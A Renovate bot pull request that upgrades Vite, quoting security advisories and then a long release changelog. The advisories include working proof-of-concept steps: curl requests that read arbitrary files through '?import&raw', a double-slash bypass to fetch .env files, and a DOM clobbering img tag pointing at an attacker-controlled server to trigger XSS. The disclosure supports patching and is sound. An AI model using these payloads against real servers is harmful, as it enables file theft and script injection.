rustymotors / rusty

GNU General Public License v3.0
0 stars 0 forks source link

chore(deps): update dependency vite to v5 [security] #28

Closed renovate[bot] closed 1 month ago

renovate[bot] commented 3 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) ^2.0.4 -> ^5.0.0 age adoption passing confidence
vite (source) 2.0.4 -> 5.3.6 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

CVE-2022-35204

Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.

CVE-2023-34092

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2


Release Notes

vitejs/vite (vite) ### [`v5.3.6`](https://redirect.github.com/vitejs/vite/releases/tag/v5.3.6) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.5...v5.3.6) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.3.6/packages/vite/CHANGELOG.md) for details. ### [`v5.3.5`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small535-2024-07-25-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.4...v5.3.5) - refactor(asset): remove rollup 3 public file watch workaround ([#​16331](https://redirect.github.com/vitejs/vite/issues/16331)) ([66bdb1d](https://redirect.github.com/vitejs/vite/commit/66bdb1d7b41e46b5361606ff3811bdad6f625bcc)), closes [#​16331](https://redirect.github.com/vitejs/vite/issues/16331) - fix: make `server` type less restrictive (fix [#​17627](https://redirect.github.com/vitejs/vite/issues/17627)) ([#​17628](https://redirect.github.com/vitejs/vite/issues/17628)) ([b55c32f](https://redirect.github.com/vitejs/vite/commit/b55c32f7e36ee7cc3754a5d667785d066dece10a)), closes [#​17627](https://redirect.github.com/vitejs/vite/issues/17627) [#​17628](https://redirect.github.com/vitejs/vite/issues/17628) - fix: show error if vite client cannot be loaded ([#​17419](https://redirect.github.com/vitejs/vite/issues/17419)) ([db5ab1d](https://redirect.github.com/vitejs/vite/commit/db5ab1dfc4fb55c6387136ee31fed35910a046b0)), closes [#​17419](https://redirect.github.com/vitejs/vite/issues/17419) - fix(build): env output is not stable ([#​17748](https://redirect.github.com/vitejs/vite/issues/17748)) ([b240a83](https://redirect.github.com/vitejs/vite/commit/b240a8347e7b62bee9d2212625732bb0d8c78633)), closes [#​17748](https://redirect.github.com/vitejs/vite/issues/17748) - fix(client): fix vite error path ([#​17744](https://redirect.github.com/vitejs/vite/issues/17744)) ([3c1bde3](https://redirect.github.com/vitejs/vite/commit/3c1bde340693e1de89ed2853225a5c1b6812accc)), closes [#​17744](https://redirect.github.com/vitejs/vite/issues/17744) - fix(css): resolve url aliases with fragments (fix: [#​17690](https://redirect.github.com/vitejs/vite/issues/17690)) ([#​17691](https://redirect.github.com/vitejs/vite/issues/17691)) ([d906d3f](https://redirect.github.com/vitejs/vite/commit/d906d3f8e1199fb9fc09f4c3397a91b274bb65c8)) - fix(deps): update all non-major dependencies ([#​17629](https://redirect.github.com/vitejs/vite/issues/17629)) ([93281b0](https://redirect.github.com/vitejs/vite/commit/93281b0e09ff8b00e21c24b80ed796db89cbc1ef)), closes [#​17629](https://redirect.github.com/vitejs/vite/issues/17629) - fix(importMetaGlob): handle alias that starts with hash ([#​17743](https://redirect.github.com/vitejs/vite/issues/17743)) ([b58b423](https://redirect.github.com/vitejs/vite/commit/b58b423ba85a7cede97d00a0160a188770928ae4)), closes [#​17743](https://redirect.github.com/vitejs/vite/issues/17743) - fix(ssrTransform): sourcemaps with multiple sources ([#​17677](https://redirect.github.com/vitejs/vite/issues/17677)) ([f321fa8](https://redirect.github.com/vitejs/vite/commit/f321fa8de2c8cf4f1758365abad4e7b352363a2f)), closes [#​17677](https://redirect.github.com/vitejs/vite/issues/17677) - chore: extend commit hash ([#​17709](https://redirect.github.com/vitejs/vite/issues/17709)) ([4fc9b64](https://redirect.github.com/vitejs/vite/commit/4fc9b6424c27aca8004c368b69991a56264e4fdb)), closes [#​17709](https://redirect.github.com/vitejs/vite/issues/17709) - chore(deps): update all non-major dependencies ([#​17734](https://redirect.github.com/vitejs/vite/issues/17734)) ([9983731](https://redirect.github.com/vitejs/vite/commit/998373120c8306326469d4f342690c17774acdf9)), closes [#​17734](https://redirect.github.com/vitejs/vite/issues/17734) - chore(deps): update typescript ([#​17699](https://redirect.github.com/vitejs/vite/issues/17699)) ([df5ceb3](https://redirect.github.com/vitejs/vite/commit/df5ceb35b7f744cfcdfe3a28834f890f35f2b18f)), closes [#​17699](https://redirect.github.com/vitejs/vite/issues/17699) - revert: fix(logger): truncate log over 5000 characters long ([#​16581](https://redirect.github.com/vitejs/vite/issues/16581)) ([#​17729](https://redirect.github.com/vitejs/vite/issues/17729)) ([f4f488f](https://redirect.github.com/vitejs/vite/commit/f4f488fe83a0b710dd3de34a7075398cfce59605)), closes [#​16581](https://redirect.github.com/vitejs/vite/issues/16581) [#​17729](https://redirect.github.com/vitejs/vite/issues/17729) ### [`v5.3.4`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small534-2024-07-16-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.3...v5.3.4) - fix: update Terser type definitions (fix [#​17668](https://redirect.github.com/vitejs/vite/issues/17668)) ([#​17669](https://redirect.github.com/vitejs/vite/issues/17669)) ([b723a75](https://redirect.github.com/vitejs/vite/commit/b723a75)), closes [#​17668](https://redirect.github.com/vitejs/vite/issues/17668) [#​17669](https://redirect.github.com/vitejs/vite/issues/17669) - fix(build): skip preload treeshaking for nested braces ([#​17687](https://redirect.github.com/vitejs/vite/issues/17687)) ([4be96b4](https://redirect.github.com/vitejs/vite/commit/4be96b4)), closes [#​17687](https://redirect.github.com/vitejs/vite/issues/17687) - fix(css): include `.css?url` in assets field of manifest ([#​17623](https://redirect.github.com/vitejs/vite/issues/17623)) ([1465b20](https://redirect.github.com/vitejs/vite/commit/1465b20)), closes [#​17623](https://redirect.github.com/vitejs/vite/issues/17623) - fix(worker): nested inlined worker always fallbacked to data URI worker instead of using blob worker ([07bc489](https://redirect.github.com/vitejs/vite/commit/07bc489)), closes [#​17509](https://redirect.github.com/vitejs/vite/issues/17509) - refactor: replace includes with logical operations ([#​17620](https://redirect.github.com/vitejs/vite/issues/17620)) ([c4a2227](https://redirect.github.com/vitejs/vite/commit/c4a2227)), closes [#​17620](https://redirect.github.com/vitejs/vite/issues/17620) - chore: add callback to http-proxy.d.ts jsdoc ([#​17646](https://redirect.github.com/vitejs/vite/issues/17646)) ([d8a5d70](https://redirect.github.com/vitejs/vite/commit/d8a5d70)), closes [#​17646](https://redirect.github.com/vitejs/vite/issues/17646) ### [`v5.3.3`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small533-2024-07-03-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.2...v5.3.3) - fix: lazily evaluate \__vite\_\_mapDeps files ([#​17602](https://redirect.github.com/vitejs/vite/issues/17602)) ([dafff4a](https://redirect.github.com/vitejs/vite/commit/dafff4a)), closes [#​17602](https://redirect.github.com/vitejs/vite/issues/17602) - fix(deps): update all non-major dependencies ([#​17590](https://redirect.github.com/vitejs/vite/issues/17590)) ([012490c](https://redirect.github.com/vitejs/vite/commit/012490c)), closes [#​17590](https://redirect.github.com/vitejs/vite/issues/17590) - fix(lib): remove pure CSS dynamic import ([#​17601](https://redirect.github.com/vitejs/vite/issues/17601)) ([055f1c1](https://redirect.github.com/vitejs/vite/commit/055f1c1)), closes [#​17601](https://redirect.github.com/vitejs/vite/issues/17601) - fix(proxy): replace changeOrigin changes in 5.3.0 with new rewriteWsOrigin option ([#​17563](https://redirect.github.com/vitejs/vite/issues/17563)) ([14c3d49](https://redirect.github.com/vitejs/vite/commit/14c3d49)), closes [#​17563](https://redirect.github.com/vitejs/vite/issues/17563) ### [`v5.3.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small532-2024-06-27-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.1...v5.3.2) - fix(client): uniform variable `location` ([#​17528](https://redirect.github.com/vitejs/vite/issues/17528)) ([a8e2f6f](https://redirect.github.com/vitejs/vite/commit/a8e2f6f)), closes [#​17528](https://redirect.github.com/vitejs/vite/issues/17528) - fix(deps): update all non-major dependencies ([#​17494](https://redirect.github.com/vitejs/vite/issues/17494)) ([bf123f2](https://redirect.github.com/vitejs/vite/commit/bf123f2)), closes [#​17494](https://redirect.github.com/vitejs/vite/issues/17494) - fix(typescript): correctly expand ${configDir} in tsconfig.json ([#​17576](https://redirect.github.com/vitejs/vite/issues/17576)) ([24c799b](https://redirect.github.com/vitejs/vite/commit/24c799b)), closes [#​17576](https://redirect.github.com/vitejs/vite/issues/17576) - chore: fix some comments ([#​17495](https://redirect.github.com/vitejs/vite/issues/17495)) ([ec16a5e](https://redirect.github.com/vitejs/vite/commit/ec16a5e)), closes [#​17495](https://redirect.github.com/vitejs/vite/issues/17495) - chore(deps): update all non-major dependencies ([#​17553](https://redirect.github.com/vitejs/vite/issues/17553)) ([a33a97f](https://redirect.github.com/vitejs/vite/commit/a33a97f)), closes [#​17553](https://redirect.github.com/vitejs/vite/issues/17553) - chore(deps): update dependency eslint to v9 ([#​16661](https://redirect.github.com/vitejs/vite/issues/16661)) ([6c10662](https://redirect.github.com/vitejs/vite/commit/6c10662)), closes [#​16661](https://redirect.github.com/vitejs/vite/issues/16661) - chore(deps): update es-module-lexer to 1.5.4 ([#​17555](https://redirect.github.com/vitejs/vite/issues/17555)) ([2d6672f](https://redirect.github.com/vitejs/vite/commit/2d6672f)), closes [#​17555](https://redirect.github.com/vitejs/vite/issues/17555) - refactor(optimizer): use early continues ([#​17551](https://redirect.github.com/vitejs/vite/issues/17551)) ([7c06ef0](https://redirect.github.com/vitejs/vite/commit/7c06ef0)), closes [#​17551](https://redirect.github.com/vitejs/vite/issues/17551) ### [`v5.3.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small531-2024-06-14-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.3.0...v5.3.1) - fix(build): handle preload treeshaking for braces ([#​17479](https://redirect.github.com/vitejs/vite/issues/17479)) ([d355568](https://redirect.github.com/vitejs/vite/commit/d355568)), closes [#​17479](https://redirect.github.com/vitejs/vite/issues/17479) - fix(build): handle preload treeshaking for commas ([#​17472](https://redirect.github.com/vitejs/vite/issues/17472)) ([3e27071](https://redirect.github.com/vitejs/vite/commit/3e27071)), closes [#​17472](https://redirect.github.com/vitejs/vite/issues/17472) - fix(build): preload treeshaking ignore equal ([#​17480](https://redirect.github.com/vitejs/vite/issues/17480)) ([6ced135](https://redirect.github.com/vitejs/vite/commit/6ced135)), closes [#​17480](https://redirect.github.com/vitejs/vite/issues/17480) - chore: consolidate changelog for 5.3 ([#​17476](https://redirect.github.com/vitejs/vite/issues/17476)) ([1f09344](https://redirect.github.com/vitejs/vite/commit/1f09344)), closes [#​17476](https://redirect.github.com/vitejs/vite/issues/17476) ### [`v5.3.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#530-2024-06-13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.14...v5.3.0) - fix: typo in client log ([#​17363](https://redirect.github.com/vitejs/vite/issues/17363)) ([68aa9f8](https://redirect.github.com/vitejs/vite/commit/68aa9f8)), closes [#​17363](https://redirect.github.com/vitejs/vite/issues/17363) - fix(ssrTransform): handle arbitrary module namespace identifiers ([#​17446](https://redirect.github.com/vitejs/vite/issues/17446)) ([0a76652](https://redirect.github.com/vitejs/vite/commit/0a76652)), closes [#​17446](https://redirect.github.com/vitejs/vite/issues/17446) - test: disable isolate for unit test ([#​17448](https://redirect.github.com/vitejs/vite/issues/17448)) ([f16fae5](https://redirect.github.com/vitejs/vite/commit/f16fae5)), closes [#​17448](https://redirect.github.com/vitejs/vite/issues/17448) - feat: asset type add bmp ([#​17439](https://redirect.github.com/vitejs/vite/issues/17439)) ([ec287f8](https://redirect.github.com/vitejs/vite/commit/ec287f8)), closes [#​17439](https://redirect.github.com/vitejs/vite/issues/17439) ### [`v5.2.14`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.14) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.13...v5.2.14) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.14/packages/vite/CHANGELOG.md) for details. ### [`v5.2.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.12...v5.2.13) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.13/packages/vite/CHANGELOG.md) for details. ### [`v5.2.12`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5212-2024-05-28-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.11...v5.2.12) - chore: move to eslint flat config ([#​16743](https://redirect.github.com/vitejs/vite/issues/16743)) ([8f16765](https://redirect.github.com/vitejs/vite/commit/8f16765)), closes [#​16743](https://redirect.github.com/vitejs/vite/issues/16743) - chore(deps): remove unused deps ([#​17329](https://redirect.github.com/vitejs/vite/issues/17329)) ([5a45745](https://redirect.github.com/vitejs/vite/commit/5a45745)), closes [#​17329](https://redirect.github.com/vitejs/vite/issues/17329) - chore(deps): update all non-major dependencies ([#​16722](https://redirect.github.com/vitejs/vite/issues/16722)) ([b45922a](https://redirect.github.com/vitejs/vite/commit/b45922a)), closes [#​16722](https://redirect.github.com/vitejs/vite/issues/16722) - fix: mention `build.rollupOptions.output.manualChunks` instead of `build.rollupOutput.manualChunks` ([89378c0](https://redirect.github.com/vitejs/vite/commit/89378c0)), closes [#​16721](https://redirect.github.com/vitejs/vite/issues/16721) - fix(build): make SystemJSWrapRE match lazy ([#​16633](https://redirect.github.com/vitejs/vite/issues/16633)) ([6583ad2](https://redirect.github.com/vitejs/vite/commit/6583ad2)), closes [#​16633](https://redirect.github.com/vitejs/vite/issues/16633) - fix(css): avoid generating empty JS files when JS files becomes empty but has CSS files imported ([#​1](https://redirect.github.com/vitejs/vite/issues/1) ([95fe5a7](https://redirect.github.com/vitejs/vite/commit/95fe5a7)), closes [#​16078](https://redirect.github.com/vitejs/vite/issues/16078) - fix(css): handle lightningcss compiled css in Deno ([#​17301](https://redirect.github.com/vitejs/vite/issues/17301)) ([8e4e932](https://redirect.github.com/vitejs/vite/commit/8e4e932)), closes [#​17301](https://redirect.github.com/vitejs/vite/issues/17301) - fix(css): only use files the current bundle contains ([#​16684](https://redirect.github.com/vitejs/vite/issues/16684)) ([15a6ebb](https://redirect.github.com/vitejs/vite/commit/15a6ebb)), closes [#​16684](https://redirect.github.com/vitejs/vite/issues/16684) - fix(css): page reload was not happening with .css?raw ([#​16455](https://redirect.github.com/vitejs/vite/issues/16455)) ([8041846](https://redirect.github.com/vitejs/vite/commit/8041846)), closes [#​16455](https://redirect.github.com/vitejs/vite/issues/16455) - fix(deps): update all non-major dependencies ([#​16603](https://redirect.github.com/vitejs/vite/issues/16603)) ([6711553](https://redirect.github.com/vitejs/vite/commit/6711553)), closes [#​16603](https://redirect.github.com/vitejs/vite/issues/16603) - fix(deps): update all non-major dependencies ([#​16660](https://redirect.github.com/vitejs/vite/issues/16660)) ([bf2f014](https://redirect.github.com/vitejs/vite/commit/bf2f014)), closes [#​16660](https://redirect.github.com/vitejs/vite/issues/16660) - fix(deps): update all non-major dependencies ([#​17321](https://redirect.github.com/vitejs/vite/issues/17321)) ([4a89766](https://redirect.github.com/vitejs/vite/commit/4a89766)), closes [#​17321](https://redirect.github.com/vitejs/vite/issues/17321) - fix(error-logging): rollup errors weren't displaying id and codeframe ([#​16540](https://redirect.github.com/vitejs/vite/issues/16540)) ([22dc196](https://redirect.github.com/vitejs/vite/commit/22dc196)), closes [#​16540](https://redirect.github.com/vitejs/vite/issues/16540) - fix(hmr): normalize the path info ([#​14255](https://redirect.github.com/vitejs/vite/issues/14255)) ([6a085d0](https://redirect.github.com/vitejs/vite/commit/6a085d0)), closes [#​14255](https://redirect.github.com/vitejs/vite/issues/14255) - fix(hmr): trigger page reload when calling invalidate on root module ([#​16636](https://redirect.github.com/vitejs/vite/issues/16636)) ([2b61cc3](https://redirect.github.com/vitejs/vite/commit/2b61cc3)), closes [#​16636](https://redirect.github.com/vitejs/vite/issues/16636) - fix(logger): truncate log over 5000 characters long ([#​16581](https://redirect.github.com/vitejs/vite/issues/16581)) ([b0b839a](https://redirect.github.com/vitejs/vite/commit/b0b839a)), closes [#​16581](https://redirect.github.com/vitejs/vite/issues/16581) - fix(optimizer): log dependencies added by plugins ([#​16729](https://redirect.github.com/vitejs/vite/issues/16729)) ([f0fb987](https://redirect.github.com/vitejs/vite/commit/f0fb987)), closes [#​16729](https://redirect.github.com/vitejs/vite/issues/16729) - fix(sourcemap): improve sourcemap compatibility for vue2 ([#​16594](https://redirect.github.com/vitejs/vite/issues/16594)) ([913c040](https://redirect.github.com/vitejs/vite/commit/913c040)), closes [#​16594](https://redirect.github.com/vitejs/vite/issues/16594) - docs: correct proxy shorthand example ([#​15938](https://redirect.github.com/vitejs/vite/issues/15938)) ([abf766e](https://redirect.github.com/vitejs/vite/commit/abf766e)), closes [#​15938](https://redirect.github.com/vitejs/vite/issues/15938) - docs: deprecate server.hot ([#​16741](https://redirect.github.com/vitejs/vite/issues/16741)) ([e7d38ab](https://redirect.github.com/vitejs/vite/commit/e7d38ab)), closes [#​16741](https://redirect.github.com/vitejs/vite/issues/16741) ### [`v5.2.11`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5211-2024-05-02-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.10...v5.2.11) - feat: improve dynamic import variable failure error message ([#​16519](https://redirect.github.com/vitejs/vite/issues/16519)) ([f8feeea](https://redirect.github.com/vitejs/vite/commit/f8feeea)), closes [#​16519](https://redirect.github.com/vitejs/vite/issues/16519) - fix: dynamic-import-vars plugin normalize path issue ([#​16518](https://redirect.github.com/vitejs/vite/issues/16518)) ([f71ba5b](https://redirect.github.com/vitejs/vite/commit/f71ba5b)), closes [#​16518](https://redirect.github.com/vitejs/vite/issues/16518) - fix: scripts and styles were missing from built HTML on Windows ([#​16421](https://redirect.github.com/vitejs/vite/issues/16421)) ([0e93f58](https://redirect.github.com/vitejs/vite/commit/0e93f58)), closes [#​16421](https://redirect.github.com/vitejs/vite/issues/16421) - fix(deps): update all non-major dependencies ([#​16488](https://redirect.github.com/vitejs/vite/issues/16488)) ([2d50be2](https://redirect.github.com/vitejs/vite/commit/2d50be2)), closes [#​16488](https://redirect.github.com/vitejs/vite/issues/16488) - fix(deps): update all non-major dependencies ([#​16549](https://redirect.github.com/vitejs/vite/issues/16549)) ([2d6a13b](https://redirect.github.com/vitejs/vite/commit/2d6a13b)), closes [#​16549](https://redirect.github.com/vitejs/vite/issues/16549) - fix(dev): watch publicDir explicitly to include it outside the root ([#​16502](https://redirect.github.com/vitejs/vite/issues/16502)) ([4d83eb5](https://redirect.github.com/vitejs/vite/commit/4d83eb5)), closes [#​16502](https://redirect.github.com/vitejs/vite/issues/16502) - fix(preload): skip preload for non-static urls ([#​16556](https://redirect.github.com/vitejs/vite/issues/16556)) ([bb79c9b](https://redirect.github.com/vitejs/vite/commit/bb79c9b)), closes [#​16556](https://redirect.github.com/vitejs/vite/issues/16556) - fix(ssr): handle class declaration and expression name scoping ([#​16569](https://redirect.github.com/vitejs/vite/issues/16569)) ([c071eb3](https://redirect.github.com/vitejs/vite/commit/c071eb3)), closes [#​16569](https://redirect.github.com/vitejs/vite/issues/16569) - fix(ssr): handle function expression name scoping ([#​16563](https://redirect.github.com/vitejs/vite/issues/16563)) ([02db947](https://redirect.github.com/vitejs/vite/commit/02db947)), closes [#​16563](https://redirect.github.com/vitejs/vite/issues/16563) ### [`v5.2.10`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5210-2024-04-20-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.9...v5.2.10) - revert: perf: use workspace root for fs cache ([#​15712](https://redirect.github.com/vitejs/vite/issues/15712)) ([#​16476](https://redirect.github.com/vitejs/vite/issues/16476)) ([77e7359](https://redirect.github.com/vitejs/vite/commit/77e7359)), closes [#​15712](https://redirect.github.com/vitejs/vite/issues/15712) [#​16476](https://redirect.github.com/vitejs/vite/issues/16476) - fix: add base to virtual html ([#​16442](https://redirect.github.com/vitejs/vite/issues/16442)) ([721f94d](https://redirect.github.com/vitejs/vite/commit/721f94d)), closes [#​16442](https://redirect.github.com/vitejs/vite/issues/16442) - fix: adjust esm syntax judgment logic ([#​16436](https://redirect.github.com/vitejs/vite/issues/16436)) ([af72eab](https://redirect.github.com/vitejs/vite/commit/af72eab)), closes [#​16436](https://redirect.github.com/vitejs/vite/issues/16436) - fix: don't add outDirs to watch.ignored if emptyOutDir is false ([#​16453](https://redirect.github.com/vitejs/vite/issues/16453)) ([6a127d6](https://redirect.github.com/vitejs/vite/commit/6a127d6)), closes [#​16453](https://redirect.github.com/vitejs/vite/issues/16453) - fix(cspNonce): don't overwrite existing nonce values ([#​16415](https://redirect.github.com/vitejs/vite/issues/16415)) ([b872635](https://redirect.github.com/vitejs/vite/commit/b872635)), closes [#​16415](https://redirect.github.com/vitejs/vite/issues/16415) - feat: show warning if root is in build.outDir ([#​16454](https://redirect.github.com/vitejs/vite/issues/16454)) ([11444dc](https://redirect.github.com/vitejs/vite/commit/11444dc)), closes [#​16454](https://redirect.github.com/vitejs/vite/issues/16454) - feat: write cspNonce to style tags ([#​16419](https://redirect.github.com/vitejs/vite/issues/16419)) ([8e54bbd](https://redirect.github.com/vitejs/vite/commit/8e54bbd)), closes [#​16419](https://redirect.github.com/vitejs/vite/issues/16419) - chore(deps): update dependency eslint-plugin-n to v17 ([#​16381](https://redirect.github.com/vitejs/vite/issues/16381)) ([6cccef7](https://redirect.github.com/vitejs/vite/commit/6cccef7)), closes [#​16381](https://redirect.github.com/vitejs/vite/issues/16381) ### [`v5.2.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small529-2024-04-15-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.8...v5.2.9) - fix: `fsp.rm` removing files does not take effect ([#​16032](https://redirect.github.com/vitejs/vite/issues/16032)) ([b05c405](https://redirect.github.com/vitejs/vite/commit/b05c405)), closes [#​16032](https://redirect.github.com/vitejs/vite/issues/16032) - fix: fix accumulated stacks in error overlay ([#​16393](https://redirect.github.com/vitejs/vite/issues/16393)) ([102c2fd](https://redirect.github.com/vitejs/vite/commit/102c2fd)), closes [#​16393](https://redirect.github.com/vitejs/vite/issues/16393) - fix(deps): update all non-major dependencies ([#​16376](https://redirect.github.com/vitejs/vite/issues/16376)) ([58a2938](https://redirect.github.com/vitejs/vite/commit/58a2938)), closes [#​16376](https://redirect.github.com/vitejs/vite/issues/16376) - chore: update region comment ([#​16380](https://redirect.github.com/vitejs/vite/issues/16380)) ([77562c3](https://redirect.github.com/vitejs/vite/commit/77562c3)), closes [#​16380](https://redirect.github.com/vitejs/vite/issues/16380) - perf: reduce size of injected \__vite\_\_mapDeps code ([#​16184](https://redirect.github.com/vitejs/vite/issues/16184)) ([c0ec6be](https://redirect.github.com/vitejs/vite/commit/c0ec6be)), closes [#​16184](https://redirect.github.com/vitejs/vite/issues/16184) - perf(css): only replace empty chunk if imported ([#​16349](https://redirect.github.com/vitejs/vite/issues/16349)) ([e2658ad](https://redirect.github.com/vitejs/vite/commit/e2658ad)), closes [#​16349](https://redirect.github.com/vitejs/vite/issues/16349) ### 